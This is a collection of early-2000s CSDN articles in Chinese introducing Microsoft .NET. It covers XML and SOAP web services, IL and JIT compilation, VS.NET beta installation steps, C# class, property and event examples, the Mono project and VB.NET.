     这些东西共同形成了位于 Microsoft Windows 顶部的一个软件平台层，它们开放地紧密集成起来，并提供丰富的应用程序服务。MTS 同 Microsoft Windows 2000 下的强大服务结合在一起，形成了现在大家所知道的 COM+，即：MTS + COM = COM+。

     Windows DNA 结构使我们可以把精力集中在最需要的开发领域以满足业务需求，而不用对它的支撑层操心过多。Windows DNA 提供内部结构和服务方便地实现安全性、事务管理以及同已有系统的互操作性。采用 Windows DNA 结构意味着我们能够一步一步地开始使应用程序支持 Web，而不是从一无所有做起。通过支持最新的可扩展标记语言 XML 和简单对象访问协议 SOAP 技术，我们可以确信应用程序能够很好地工作于现在和未来。

     使用 Windows DNA 结构，我们能够建立可伸缩、可扩展的电子商务解决方案。但电子商务应用程序将如何与其它电子商务程序通讯？这些应用程序究竟在哪里运行？面对这些挑战，Microsoft 亮出了它的最新一代操作平台：Microsoft .NET。

     进入 .NET

     通过打开不同的 Web 应用程序并把它们呈现为 Web 服务，Microsoft .NET 平台方便了它们之间的集成。通过支持开放的 Internet 协议，.NET 平台允许电子商务应用程序以及其它基于 Web 的应用程序间相互通讯、交换数据并实现了真正的 互操作性。Microsoft 还开发了一套企业级服务器 (共同称为 .NET Enterprise Server)，包括数据库服务器、商务到商务 (B2B) 管理服务器以及便于你加强 Web 站点安全性的服务器。

     当应用程序走上 Web 时，你的商业伙伴试图“连接”你时，到底会发生些什么呢？这些应用程序将如何通讯？你能开发一些专有的通讯协议，但那将费时费力，并且最终效果是不大的。而且，每增加一个新伙伴就意味着要创建或采用专有协议，这无疑增加了你的工作量，也增加了你的商业伙伴的工作量，同时减少了成功的机会。或者你可以选择 Windows DNA 结构和 .NET。这样做，你就会有一个认真的头脑来开始满足你每天所面对的、快速变化的需求。

     .NET 铺设了用户和应用程序能从 Internet 的力量中获得益处的道路。在 .NET 里，用户获得数据的能力（无论这些数据在何处）以及不同的应用程序共享和交换数据的能力成为可能并且现实。这是借助 XML 和 SOAP 实现的。这些技术可能会对全球电子商务市场中的应用程序的开发、配备和使用的方法产生革命性的推动。.NET 操作平台和开发工具套件以及服务器是按照实现这一前景，并方便基于 Web 的应用程序开发来设计的。

     转向基于 Web 的开发，看起来是大势所趋。也许这让人觉得无从下手，但它是可望亦可及的。你也许会发现咨询机构的服务是有益而值得的投资。请关注那些在帮助并与技术人员合作方面拥有丰富经验的咨询机构。浏览他们制作的网站，或看看他们基于 Web 开发的示例程序如何工作。

     一个具有丰富经验的组织会列出很多东西，而不仅仅是一个令人印象深刻的目录表。例如，一个可重复、可理解、可扩展的开发过程或方法，这个开发过程会使在 Microsoft .NET 平台上开发高端 Windows DNA 电子商务应用程序更方便。

     框架

     Windows DNA 和 .NET 平台确保 Web 应用程序能很好地工作、具有可伸缩性，并可以在其它 Web 应用程序和服务中访问。但如何真正开始应用程序的开发呢？从哪里开始呢？怎样能把应用程序的基础建立在很多开发努力的结果之上呢？如果你发现另外一些人已经完成了学习过程，你能收获他们劳动的果实，这不是一件很好的事吗？这样的基础经常被称作应用程序框架，但并不是所有的框架都是生而平等的。

     我们需要一个健壮的框架、一个经过检验的结构，它是开发人员开始的地方。程序员不需要实现规则和数据处理，他们需要的是开始组织应用程序。一个良好的框架就是要做到这些。拥有良好的程序模板的优势后，在对业务逻辑的实现上，程序员就能有更大的自由来进行创造和革新。

     我们讨论了基于 Web 的应用程序的机制、需要的服务器和把东西拼在一起的方法。从理论上讲事情已经很明确了，一旦硬件和软件到位，所需要的就是应用程序在它们上面运行。应用程序是相对容易的部分。作为一个开发者，一定做过不少交付应用程序的工作。开发人员和项目经理知道要实现的业务，并且知道他们可以编写 Web 应用程序来创造机会并提供一些帮助。

     虽然很多工具可以给我们一个开头，但经常遇到的简单问题是这些工具变得太快。它们使开发人员能在 Web 上运行应用程序，但实际的问题是，开发人员被迫在饼干切割机式的环境下开发哪些复杂且要求健壮的应用程序。他们被剥夺了创造性，却被要求“将 A 键插入 B 槽内”以便能交付应用程序。天知道在这样的环境下有几个程序员能越干越好？

     让我们来面对这个问题，技术革新让今天的开发者难于跟上。一旦落在后面，重新回到使用前沿技术开发软件的位置，就变得无比艰难。你曾经落伍吗？你是否觉得基于 Web 的开发正在离你越来越远？

     选择一个引人注目的、定义得很好的项目，选择一个经验丰富的咨询机构，然后走向 .NET。寻找提供可重复、经过检验的过程的咨询机构，一个在 .NET 操作平台上支持 Windows DNA 应用程序开发的机构。你的应用程序会和你一起成长，适应你的业务需求的变化，并且像你所需要的那样开放。

     看了那么多广告和宣传，现在你可能开始对 .NET 是什么有了一个想法。Internet 的应用正在不断地扩大，但我们的 Internet 编程方式还处于石器时代。Internet 用户就像老式主机的分时终端上的用户一样，他们从一个受保护的资源请求信息，然后等待回应。你从正在浏览的 Internet 站点上接收的信息由它希望提供给你的、基于 HTML 的信息组成的。

     但是，同远程 Web 站点进行交互式操作是不是更有趣？如果我们能用某种方法访问远程站点提供的计算能力并利用它的服务，而不仅仅是利用它的发布能力，会不会更好？这就是 .NET 将要提供的精华。

     .NET 将远程服务器所提供的计算能力和允许用户交互操作所必需的通讯结合在一起。明确地说，.NET 是为你－Internet 开发者－所设计的，它帮助你创建可扩充的新能力。你的 Internet 站点不应该成为带宽海洋中的孤岛，相反，你能以这样的 方式建立你的站点：通过合作和互操作能力，使它融入 Internet 之中。

     所有这些的关键，当然是合作的能力。要具有互操作性，要以高速数据传输率来共享数据。如何做到这些？为什么 .NET 发生在今天而不是五年以前？

     当然一部分答案就在我们今天身在其中的网络技术之中。从来没有现在那么多的人拥有高速带宽连接，并且在不久的将来还会有更多的人加入进来。想像一下人人拥有 DSL、Cable Modem 或宽带无线连接的时代 ...... 我们将很难回忆起 300 波特 Modem 的时代 :-(

     在过去的几年里，两个最关键的进展就是引入了 XML 及其在 SOAP 中的应用。这些技术都是 .NET 的核心。要成为 .NET 开发世界中的佼佼者，就必须理解 XML 和 SOAP。


csdn_快速领会 .Net(三)

快速领会 .Net(三) 作者：不详
.NET 技术

     你可能已经阅读了一些关于 .NET 是什么和由什么东西组成的文章。.NET 允许我们在服务的层次上而不是在发布的层次上来共享信息并交互。Microsoft 的支持 .NET 的产品和许多来自第三方的组件、内容和功能拥有 .NET 的内部结构。但自然地会提出一个问题：“是什么使 .NET 能够工作？”

     这些都从 XML 开始。

     用XML实现数据编码

     要想理解 .NET ，就需要理解 XML。像我们在自己的交流中所说和写的语言一样，XML，eXtensible Markup Language，可扩展标记语言，是 .NET 的基础。也许我们有伟大的思想和信息可以分享，但如果我们不能以一种别人可以理解的方式来表述我们的思想和信息，我们的艰苦工作和想法就只能躺在那里睡大觉。XML 是 .NET 的灵魂，是所有 .NET 现在和将来的基础。数据库将通过 XML 中的纪录集来读写，Web 浏览器将接受 XML 并将其和伴随它的样式表一起显示，Visual Studio 甚至会产生 XML 代码！不理解 XML 和与之相关的技术，你就不能同支持 .NET 的资源交流，无论是站点还是人！

     对于今天的 Web 服务器而言，XML 差不多无所不在了。几乎所有的计算平台都能分析 XML，因而也就能获得 XML 文档中的内容。Windows 能，Linux 能，当然 MVS 和 VMS 也能。甚至蜂窝式移动电话也能！所以，如果我们能找到一种方式从远程系统获得 XML 文档，问题就剩下如何理解文档中包含的数据了。这时，我们通过 SOAP 搭载 XML 文档。

     用SOAP实现数据通讯

     长期以来我们使用超文本传输协议 HTTP 来提供 Web 页面以及往来的内容。但当我们将 HTTP 或一些其它 Internet 传输协议 同 XML 结合起来，并指定 XML 文档自身的格式时，你得到了简单对象访问协议 SOAP。至少在开始构想它时，SOAP是被设计为从本地系统向远程系统传递远端方法调用的。基于 SOAP 的结构与同时代的其它远程结构—DCOM、CORBA 和 RMI 等等—所不同的，SOAP 协议可以穿越任何团体的防火墙，并且 SOAP 数据包中包含着以 XML 编码的数据。而且，它们易于分析和使用。SOAP 还有很好的伸缩性，这使得我们能同时为非常多的用户服务。

     SOAP 模型最初的构想是使用请求-响应模型，同我们今天所用的 Internet 计算模型很相似。随后，SOAP 发展到包含了消息模型。两者的不同之处是 SOAP 在对远端系统上的方法参数进行编码时，有获得结果的特殊目的。它并不请求 Web 站点提供一个感兴趣的数据表格，相反，比如说，在同样的系统上我能调用一个假想称为 CalculatePayment() 的远程调用，并收到一个个人付款数值。是的，今天你能用一个表单做到这些，但关键是在调用服务和提交表单之间存在着差别。服务调用是功能更强的概念。

     .NET：数据共享平台

     给我一种语言 XML 和一种通讯方式 SOAP，我就能建立允许我们交互和合作的系统。这就是 .NET。最初，Microsoft 将建立这种强大的共享，然后他们需要一些时间将最初的版本放到公共领域。如果 .NET 像预期的那样工作，它将改变我们的计算习惯和业务实践，就像在过去的二十年里 DOS 和 Windows 所做的那样。可以预见，鼓励用户进行交互并为 Web 消费者提供服务的站点将繁荣昌盛。这些站点不会遇到麻烦甚至消亡，因为 Internet 消费者正在更多地意识到他们需要得到增强的服务。

     胖客户机计算并没有消亡，但瘦客户机计算正在市场上变得更加流行。作为一个开发者或项目经理，应该有责任学习最新的概念和技术，并把它们应用到业务实践之中。记住达尔文的圣言：进化在产生，但自然选择也在进行。


csdn_.NET 开发

.NET 开发

常年累月，我们使用计算机的方式在变。今天，每个人都看到因特网的价值，并且，我们使用计算机的方式在变得越来越依靠网络提供的服务。就我而论，我喜欢通过因特网买东西，获取交通信息，比较产品，买票，读产品评论。

不过，我发现在今天，因特网上还有许多我想做的事情不能实现。例如，我想在我的社区找到一个对菜肴风味有详细介绍的餐馆。此外，我想知道这个餐馆今晚7点是否还有空位。

或者，如果我在做生意，我会希望知道卖方商品的详细资料。如果有多个的卖方能向我提供资料，我想知道哪个卖方的货最便宜，或者是哪个卖方能最快交付。

今天还不能存在象这样的服务，主要有两个原因。第一个原因是, 没有合适的标准来描述全部信息类型。第二个原因是，今天的商家用自己的方式告诉别人他们在卖什么。XML的出现，提供了描述全部信息类型的标准。第二的理由可以归结为：为了提供这样的服务而必须进行的开发工作具有难度。

微软公司预见到出售服务将是未来之路。换句话说，公司将提供服务，并且被服务的用户将支付服务的费用。很多的服务将免费，还有一些服务将按月收费或按用户个数收费。当写这篇文章时，个人和商业公司如何对这些服务支付的费用细节尚不清楚；我们必须先看一看这种业务将会如何开展。你能把服务看作一些商业抽象概念的实现。这里是一些简单的服务例子：

将邮政编码转换为经纬位置；

验证信用卡的购买力；

找到从某地到达另一地的方法；

找一家需要的餐馆；

管理一个在线像册；

控制一个在线日历；

我可以继续设想一个公司应实现的服务。

毫不怀疑地，微软公司将在不远的将来, 提供一些这类的服务。其它的公司将提供其它的服务，并且，他们能完全参加（甚至和微软公司一起）到一个自由的市场。

那么，我们怎样从今天这样的环境，到达轻松实现那些服务的未来世界呢？并且，我们如何利用与结合服务的观念，制作出真正具有丰富特性的应用程序（这种应用会基于HTML 或其他方式）呢？例如，如果所有餐馆都提供列出菜单的服务，那么就可以制作这样一个应用，它可以查找到用户希望就餐的餐馆。通过查询每个餐馆的菜单，找到具有用户需要的烹调风味或菜肴的，并且就在用户附近的餐馆。

为了制作象这样的应用，服务提供者必须为他们的商务服务提供程序上的逻辑接口。这种编程上的接口必须可以通过网络由远端调用，比如因特网。这就是Microsoft.NET initiative。

让我这样解释它：计算机与外围设备（内存，显示器，数字照相机，扫描仪，以及其他等等）连接。操作系统（象视窗）提供的开发平台，使应用程序可以抽象存取这些外围设备。按这种方式，你可以把这些外围设备看作服务。在新的世界里，服务（或者外围设备）将被连接在因特网上。

开发者想得到访问这些服务的简单的方法。Microsoft.NET initiative提供了这样的开发平台。

可以确定的是，微软并没有拥有任何涉及到未来将实际发生的事件的标准。在因特网上，应用和服务之间的通讯，通过HTTP包完成。在HTTP包的内部是需要服务的的 XML数据，之后服务端通过把XML数据回送给客户，就完成了应答。XML数据具有正式的标准。这标准被叫做简单对象访问协议（SOAP）。微软公司帮助定义这些标准，但是不拥有这些标准。

以下的图形显示了彼此通过SOAP协议发送XML数据来通讯的的Web服务群。图形也显示了客户可以通过SOAP(XML)方式，经由Web服务器和其他的客户交流。另外，图形显示客户从Web服务器获得的HTML形式的服务结果。当然，也许需要客户填写了一个送给Web服务器的Web表格。Web服务器处理了客户的要求（包括与其他的Web服务器的通信），并且，结果将通过标准的HTML页最终被回送给客户。

另外，在提供服务的计算机上必须运行可以接受这些SOAP要求的操作系统。这操作系统可能是视窗操作系统，但也不是必须。任何能在Socket端口接收请求并能读写端口上数据的操作系统都可以。在不远的将来，蜂窝式电话，呼机，汽车，微波炉，电冰箱，手表，立体音响，游戏控制台和各种其他的装置将能参加到这个新的世界。

在客户或应用一方，运行的操作系统必须能读/写到 Socket端口，这样才可以发出服务要求。另外， 客户计算机上运行的操作系统必须能支持终端用户应用程序的任何要求。如果终端用户的应用程序想制作窗口或菜单，操作系统必须提供这项功能，或者，这个应用程序的开发者必须用手动实现它。

当然，微软公司希望人们利用视窗的丰富特点来编制应用程序。但是，这不一定是必要条件。我努力去说的是无论是否微软公司参与，新的变化都将发生。微软公司的技术并不能造成这些变化的发生。Microsot.NET做的是，使开发者轻而易举地的制作这些服务并访问这些服务。今天，如果我们需要，我们完全可以去制作我们自己的的操作系统。但是它真的很难，并且将花去长的时间。我们能编写Web服务，并编写接收和处理SOAP需求的程序。但同样也很难。

微软公司为了生产Microsoft.NET已经为我们完成了全部艰难的工作。它使这些工作变得简单。现在，象我们这样的应用开发者，可以集中我们的精力在我们自己关心的商业抽象概念和服务上。至于通讯协议和构建都交给微软公司。（这也许是微软公司拥有许多喜欢它的开发者的真正原因）。

<


csdn_NET编译时都做了一些什么

NET编译时都做了一些什么
================================================================
FAQ - 一个.NET程序在编译和运行时都做了些什么？
================================================================
在新闻组和邮件列表里有大量关于一个.Net程序的设计编译(design-time or
run-time)和运行原理 (CPU-specific binary or pseudo-code)的疑问。

这里是一个简单的回答：当你编译一个C#应用程序或任何一种CLS(Commmon
Language Specification)兼容的语言时，它将首先被编译成一种称为IL
(Intermediate Language)的伪代码(pseudo-code)。在这个应用程序第一次
被运行的时候，这种IL代码将被编译成机器代码，用于执行。也就是说从源代码
到得到运行结果，进行了两次编译。事实上，只有那些被真正使用的函数代码
才会被进行第二次编译。下面揭示开发过程中被隐藏起来的细节：

1) 你用C#开发一些程序
2) 用C#编译器或CLS兼容的编译器编译成EXE
3) 编译器将生成的IL代码和附加信息(manifest)放入拥有一个标准PE头的Win32
可执行文件的只读部分。
4) 编译器在创建这个可执行文件时导入(import)一个名为_CorExeMain的函数。
这个函数是.NET EE(execution engine)--.NET运行期引擎的入口函数。
5) 当执行这个Win32可执行文件时，因为其主要是依赖于DLL的PE文件，操作系
统将会调用位于MSCorEE.DLL中的_CorExeMain函数。
6) 操作系统通过PE文件里的进入点，调用MSCorEE.DLL。并能保证在Windows里
可以有很多程序同时运行。
7) 因为操作系统不能执行.NET IL代码，EXE里的进入点只是简单的中介，它将
指示操作系统调用_CorExeMain函数。
8) 随后_CorExeMain函数开始解释位于PE文件中的IL代码。
9) 因为IL是不能被直接执行的, .NET EE使用称为JITter (Just In Time compiler)
的即时编译器将IL代码编译成本地CPU机器代码用于执行。这一即时编译过程
只在第一次执行的时候进行。


csdn_关于VS.NET beta1安装问题

关于VS.NET beta1安装问题
找了点资料，还有诸位兄弟的经验给初学者看看，希望大家互相促进。

英文版直接升级即可。

中文版win2000(professional or server)
第一步：
Windows Component Update
-------------------------
1.請先確認您的作業系統已安裝了中文版 Windows 2000 SP1 或中文版 Windows
  98 Second Edition SP1.
2.安裝中文版 Internet Explorer 5.5 或 Windows Componet Update 光碟 /IE55
  目錄中的英文版本.
3.安裝 Internet Explorer QFE,執行Windows Componet Update 光碟中的 /IEQFE
  /q11258.exe (若已安裝IE5.5 SP1就不用安裝此項程式)
4.安裝 Jet Engine, 執行Windows Componet Update 光碟中的/jet/jetsetup.exe
5.安裝MDAC 2.6, 執行Windows Componet Update 光碟中的/MDAC/mdac_type.exe
6.安裝MSO9, 執行Windows Componet Update 光碟中的 /mso9.msi
7.安裝MS XML 3.0, 執行Windows Componet Update 光碟中的 /msxml3.msi
8.請強制重新開機. (系統不會提示，若不重開下個步驟會有 Internal Error 2355
  的錯誤發生)
9.安裝 .Net Framework SDK, 執行Windows Componet Update 光碟中的 /FrameworkSDK
  /setup.exe
10.安裝 Visual Stuio.NET bootstrap, 執行Windows Componet Update 光碟中的
  /bootstrap.msi

注意：以上步驟請按照各安裝程式指示進行安裝(包含重新開機動作)，完成一步驟後
再執行下一步驟.

Visual Studio.NET 安裝
-----------------------
1.放入 Visual Studio.NET Beta1 CD1 至光碟機中，如自動啟動安裝程式，請先將其
  關閉。
2.執行光碟中的 /Setup/setup.exe
3.按照安裝程式指示進行.

注意事项：
1：由于市面上的d版vs.net beta1有出入，希望大家考入硬盘安装。（尤其出现提示无法找到cd1的时候）另外，大部分d版的vs.net beta1不出现换盘提示，若提示无法找到文件，则试着换cd2试试。
2：若只想使用asp+,只需装.net framework
3：若只想学c#可以下一个编辑c#的软件ultraedit8.0 or CSHARP 用csc编译执行
4：至于SQL2000的问题，本人在装vs.net前已经装了，参考讨饭猫sql2000-sp1--asp.net。
5：在装完vs.net后，必须将tools->options->international settings->language设为英文，才能创建各种web application。
6：至于office 2000，各位可以升级SR1或XP。
还有一些没想到的，希望大家补充，共同促进！


csdn_.Net边学边讲（一）

.Net边学边讲（一）
经过一段时间的使用，觉得自己对.net的基础知识掌握的不太够，可能许多朋友也有这种感觉，再加上beta2在许多方面进行了调整和更改，因此我想现在用beta1做开发是不太适合，倒不如大家一起探讨一些基础知识、原理，这些东西是不会变的，而且掌握了这些，以后编程会更加得心应手。我这里下的一些类似结论性的文字，不一定对，个人感觉加上看一些文章的体会，希望大家能一起探讨。
1.类型(Type)：
类型是.Net的基本单位。.Net中的classes, interfaces, enumerations, structures都是类型，.net中的大多数类型都是类，在.net中即使你写一个再简单的程序（如：hello world）也需要一个类，以winform来说，main函数需要一个类，他是这个类的成员函数。那么类究竟是什么？Dr.Net 上给了一个定义：他是一个创建包含数据和操作这些数据的方法的对象的模版。有点拗口，简单地说，他是一个模版，这个模版中封装了数据和操作这些数据的方法。这样，你创建了一个类就创建了一个新的数据类型、定义了操作这些数据的术语。类型是一些概念的抽象。在一个好的OO设计当中，类型是由一系列的操作定义的，而不是内在的数据格式决定的。而我们一般应将数据声明成私有，这样就避免了程序的其它部分破坏掉这个封装。比如说，我们创建一个类
public class auto{
private double speed;
public double Speed{
get{
return(speed);
}
set{
speed = value;
}
}
}
以这个类为例，我详细的说明以上的观点，类auto可以看成一个新的数据类型，你可以声明其他的成员为这种数据类型:public auto car(){}，这样，car返回的是一个auto类型。这跟public int car(){}没什么区别，在.net中int, string...等时类而不仅仅是 其他编程语言中的"数据类型", 实际上C#中的int是.Net Runtime中的Int32类的别名。更深一步说你要是想做一个跨语言的组件，你声明的所有的类型 必须是.Net Runtime的标准类，也就是说用String 代替string，Int32代替int等。那么对于封装，我们如何理解呢？比如说Single 和 Double 他们都代表真实数字的抽象封装。那么数据格式呢？我们往往不需要知道，也不想知道。Single 和 Double有一定的范围和精度，因为他们都是抽象的， 而不是真实的数字。你可以对他们实现一些操作，包括加减乘除。但却不能进行位运算，这是因为这些操作不是封装内的部分，所以他们也不是类型的一部分。类是模版，但我们怎样才能得到真实的对象呢?auto d= new auto();这样我们就明白了，为什么我们在使用类前，为什么要实例化。


csdn_.Net边学边讲（二）

.Net边学边讲（二）
我们继续来谈一谈类
与其他面向对象的编程语言不同，.Net中类有四个基本成员，data members(fields), function members(methods), properties, events。其他编程语言只有前两项。这里需注意，data members(fields)永远不要声明成public，因为这样会使使用者无需知道你的类就可以改变你的数据。
public class test{
private int i;
}
这里i 就是一个data members(fields)，需要提及一点，properties提供了方便、安全的数据访问封装。下面来谈谈function members(methods)，他有两种存在方式，instance和static。Instance隐含的接受了指向他所在的对象的指针，在C#中你可以用对象名或this得到。如：SomeObject.Method()， 或this.Method()。静态的(Static)Method不能接收到this指针。因此他们不能直接访问类里的任何实例化数据。他的调用方式是SomeClassName.StaticMethod()。他无需例示。function members(methods)默认是private的，即只能在声明他们的类中访问，我们需要声明他们为public以便可以在任何类中访问。function members(methods)可以被重载，也就是说你可以创建多个就有相同名字的方法，比如说test(int i), test(double i), test(), test(string i, bool b).....。.Net编译器会依据你传递的参数决定你在调用哪个方法。当然还有一些其它的修饰符如extern，他的用途是如果你想在.Net Framework中声明你的方法而在.Net Framework之外实现你的方法，比如说在C# 中声明你的方法而在windows本地dll中实现你的方法，你就要在C#中这样声明，public extern yourmethod(){}
接下来我们要谈谈Constructors和Finalize，每个类都至少有一个Constructor的方法，如果你没有提供，C#将自动为你生成一个没有任何参数的Constructor。Constructor是一个与你的类的名字相同且没有任何返回值的的方法。每个Constructor都会调用一个你基类的Constructor（如果没有显性的基类，就调用对象的），这个调用会在你的Constructor主体执行之前调用，这样，你就知道你的基类有没有正确的初始化了。Constructor只在每个对象被创建时调用一次，它的作用是初始化对象的实例，以便于调用。Destructors已不再需要，因为C#会自动提供一个清理对象的方法（叫Finalize）。垃圾自动清理，这也是C#的区别于其他编程语言的特性之一。接下来，我们该谈谈属性了。首先为什么要用属性？来看一个例子，如果你有一个类Person，有一个data members(fields)叫Age 是Int32型的被声明成public，（前面我们讲过不能声明成public，这里就是举例说明为什么不能）：
Person Jim = new Person(); // create object; pointed to by Jim
Jim.Age = 23;
Int32 JimsAge = Jim.Age;
Jim.Age = -5; // invalid, but unchecked if you use a field
这段代码会造成两个问题
1.你的用户知道了内部数据的细节，他们可能会做一些你不希望发生的操作
2.你的用户可能会更改数据为一个不合法的值，如将Age设为零或负数
现在大家可以知道属性的优势了，相对应予上面提的
1.用户不会知道你的内部数据结构
2.属性方法会保护数据
下面的例程显示了属性的优越。
public class Person
{
Int32 age; // 注意默认是private
public Person(Int32 age) { // constructor
this.age = age; // this消除歧义!
}
public Int32 Age { // property
get {
return age;
}
set { // validating value
if (value > 0 && value < 150) {
age = value;
}
else { // throw exception if invalid value
throw new ArgumentException("Age must be between 1
and 150");
}
}
}
}
这段程序有几个值的关注的地方
1.在constructor中，我们定义了一个参数也叫age，这会与private age产生歧义。我们用this来消除歧义。
2.get方法用于读取属性set方法用于存取属性 。关键字value代表属性被设置的值
3.在set方法中我们检查了value的值，并在数据不合法时抛出了异常
有点打累了。。。：）
下次我们谈谈event


csdn_.Net边学边讲（三）

.Net边学边讲（三）
谈到event，就不能不先说一下callback和delegate
如果你使用过C的话，你应该知道有一个函数叫qsort，是用来给数组排序的。但这个函数显然不能承担广泛意义上的比较，因此你需要传递一个指针，他指向具有比较功能的函数。qsort在每次要比较数组元素时都要调用这个函数。这就是callback的概念，在.Net里也可以实现回调，方法是创建一个接口，实现他，传递一个实现此接口的对象的引用。delegate呢，你可以将他理解成一个安全的函数指针。
Notifications跟callback有点类似，但比简单的回调要复杂的多。callback意味着要调用的callback方法被调用的同时要调用的建立callback的方法。这是一个很紧密的耦合。而Notification则要松散一些，你可以注册将来某段时间会或者不会发生的Notification，只当他们发生时处理，否则不用。
你也许想让你写的组件当一些事情发生时通知其他组件，例如，你想写一个按钮组件，当你Click的时候你可能想通知其他组件，而其他组件将不得不准备向你请求Notification，你就要提供一个方法告诉他们你已经有一个可用的Notification。另一方面，你可能也是当其它组件的一些事情发生时希望被通知的人。这时你就需要找到那个特定组件可以提供什么Notification。
在.Net中event是一个你用来广播、引发、处理Notification的机制。大致是这样的，可以引发事件的组件声明这一事件。而希望处理某一特定组件的某一特定事件的组件通过传递一个方法的delegate向引发事件的组件注册。这样，当事件发生时引发事件的组件就会调用每个已注册的方法。通过delegate和event我们可以实现异步调用的功能。在C#中是这样声明一个代理的：public delegate void LogHandler(String message);代理在处理这种回调时已经是很强大了。但是当我们需要代理被存储以便以后的Notification，就有一点麻烦了。比如说我们有一个对象Button，有一个Click事件。我们可以声明一个ClickHandler 的代理类型用于处理Click事件，在我们的Button的Class中声明一个ClickHandler的public实例，这样其他组件希望Click发生时被通知，就可以简单的把他的代理加到Click代理中去。myButton.Click += new ClickHandler(MyMethod);
看上去着好像没什么问题。但是这里却存在一个大问题，我们声明Click代理是public，这违反了我们以前说过的data fields永远不要声明成public，这会有一系列麻烦。解决的办法是声明成private或protected，然后用属性解决读写。这样我们可以private声明Click，在写一对public方法去增加一个listener及减少一个listener。当然在.Net中，当你声明一个event时，.Net已经为你做好这一切了。声明一个事件：
class AlarmTimer {
public event EventHandler Alarm;
// ...
}
这段代码说明AlarmTimer可以向所有其它对象广播它可以引发一个叫Alarm的事件。Alarm事件用的是EventHandler代理类型。EventHandler：无返回值、接受两个参数（Object:指向事件的发送者，EventArgs：包含关于事件的数据）
看一个例子：
class AlarmTimer {
public event EventHandler Alarm;
private Timer myTimer;
public AlarmTimer() {
myTimer = new Timer();
myTimer.Tick += new EventHandler(OnTick);
}
public void Set(Double seconds) {
myTimer.Interval = (Int32)(seconds * 1000);
myTimer.Start();
}
protected void OnTick(Object sender, EventArgs e) {
myTimer.Stop();
if (Alarm != null) Alarm(this, EventArgs.Empty);
}
public void ReEnable() {
myTimer.Enabled = true;
}
}
注意AlarmTimer既引发事件（Alarm）又处理事件（Timer中的Tick事件）
static AlarmTimer myAlarm = new AlarmTimer();
public static void TestEvent() {
myAlarm.Alarm += new EventHandler(TimerEventProcessor);
myAlarm.Set(2);
Console.WriteLine("Timer is set; alarm will go off in two seconds");
Application.Run();
}
//处理事件
private static void TimerEventProcessor(
Object myObject, EventArgs myEventArgs) {
if (MessageBox.Show("Wake up! Continue ringing?",
"Count is: " + alarmCounter,
MessageBox.YesNo) == DialogResult.Yes) {
alarmCounter += 1;
myAlarm.ReEnable();
}
else {
Application.Exit();
}
}
注意：Object和EventArgs不是必需的参数，只是这是一个好的写法模式而已
关于event还有好多没有说，留着以后慢慢说吧。


csdn_Visual Studio.net Beta2安装

Visual Studio.net Beta2安装
1 手工卸载已安装的beta1,需要执行下述操作。
1.1 在控制面板卸载 vs.net beta1.(选择 change/remove)
1.2 在控制面板卸载 .net framework beta1.
1.3 启动regedit,把注册表中 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/VisualStudio/7.0 下所有子键
2 直接安装 beta2
2.1 安装 .net FrameWork Beta2 .
2.2 选择根目录下的 setup.exe ,然后选择 update component ,然后将目录指向wincpu的文件夹。这是体统会自动更新frontpage2000 web extensions client ,ie6(英文),mdac 2.7 ，service pack 2(英文).更新完毕，系统重新启动。
2.3 开始安装 vs.net beta2.


csdn_开放源码版“.NET”项目启动

开放源码版“.NET”项目启动
由多家开发商合作进行的“Microsoft.NET”的“开放源码版”开发计划“Mono”日前正式启动。“Mono”是西班牙语，意思是“猴子”。

统管整个项目的为美国Xinian（http://www.ximian.com/）公司，该公司计划于美国当地时间7月9日正式发布这一消息。Ximian是开发Linux桌面环境“Gnome”的风险企业。预定在2001年底之前开发面向Linux的.NET工具。

Ximian公司目前正使用微软公司已向欧洲电子计算机工业协会（ECMA ：European Computer Manufacturers' Association）递交的.NET界面开发程序语言“C#”、Longtime Engine和类库（Class Library）。所谓的Longtime Engine的作用是运行以C语言、C++、Cobol和Pascal等语言编写的程序。

Ximian公司首席技术官（Chief Technology Officer）Miguel de Icaza说：“想就.NET来评价一下微软公司。该平台表现优秀，而且还正在向标准化机构提交有关性能标准。我们将使用这一平台进行产品的功能扩展”。

“.NET工具对程序员而言意谓着梦想成真。Windows的开发商可以充分地享受到这一伟大平台的带来的好处。不管怎样，我们希望使用这一优秀平台的部分功能”（Icaza）。

由于Mono中开发的代码是开放资源，所以软件开发人员可以向任何OS中移植。也就是说，也可以向微软的竞争对手美国Sun Microsystems的Solaris和美国Palm公司的OS中移植。同时，面向Windows的应用也可以在Linux和其它的OS上运行。对微软而言，这无疑是一次深重的打击。目前微软对这一项目有何反应尚不清楚。Icaza已计划在正式发表该项目的7月9日与微软进行对话。


csdn_什么是Visual Basic.NET？

什么是Visual Basic.NET？
内容:
什么是Visual Basic.NET？
Visual Basic.NET是下一代的Visual Basic。而并不是简单的在
Visual Basic 6.0上在添加一些新特性而已，
微软重新设计了产品以便使开发者能够更加容易的开发分布式应用，
例如基于WEB的程序以及多层系统。
Visual Basic.NET中有两种窗体包，Windows窗体以及Web窗体；
一个新版的ADO用于接受离线数据源；新的语
言，移走了原来的关键字，提高Type数据的安全性以及提供低级别结
构以满足高级别开发者的需求。
这些新的特性为Visual Basic开发者提供了新的开发窗口：通过
Web窗体以及ADO.NET，你可以快速开发可扩展
的Web站点；通过继承，该语言实现了真正的支持面向对象编程
（object-oriented programming）；Windows窗体
本身支持可视继承；现在展开程序就象拷贝可执行文件和控件到另一
个目录那样简单。
Visual Basic.NET现在完全集成在其它的Microsoft Visual
Studio .NET语言中，不仅可以通过不同的语言
开发组件，而且通过交叉语言继承，你可以从用一种语言编写的类中
派生用另一种语言编写的类。


csdn_全面剖析VB.NET(1)

  全面剖析VB.NET(1)
作者： 仙人掌工作室
前言
  大约到2001年的第4季度，Visual Basic的下一个版本Visual Basic.NET将会正式发行。新版的Visual Basic.NET拥有许多VB开发者以前只能梦想的新功能和新特色。同时，成长和发展也意味着付出一定的代价，新的Visual Basic.NET中有许多东西需要重新学习，一些细微的变化很可能带来出乎意料的麻烦。

    Microsoft .NET平台所包含的内容非常广泛。本文将去粗存精，对VB.NET作一个全景式的介绍，看看它到底是什么，有些什么用处，以及如何使用。特别地，本文将分析VB.NET集成开发环境的变化，面向对象功能，底层体系的变化，众多的语法改进，对应用部署和封装支持方面的增强等。

一、集成开发环境

  第一次启动VB.NET时，你首先注意到的不会是Visual Basic优秀的面向对象支持，而应该是它的IDE（集成开发环境，Integrated Development Environment）。VS.NET的IDE给人以非常熟悉的感觉，因为设计这个IDE的工作组以前就设计过VB的IDE，VS.NET IDE的改进建立在设计VB IDE的经验之上。

图A：点击放大

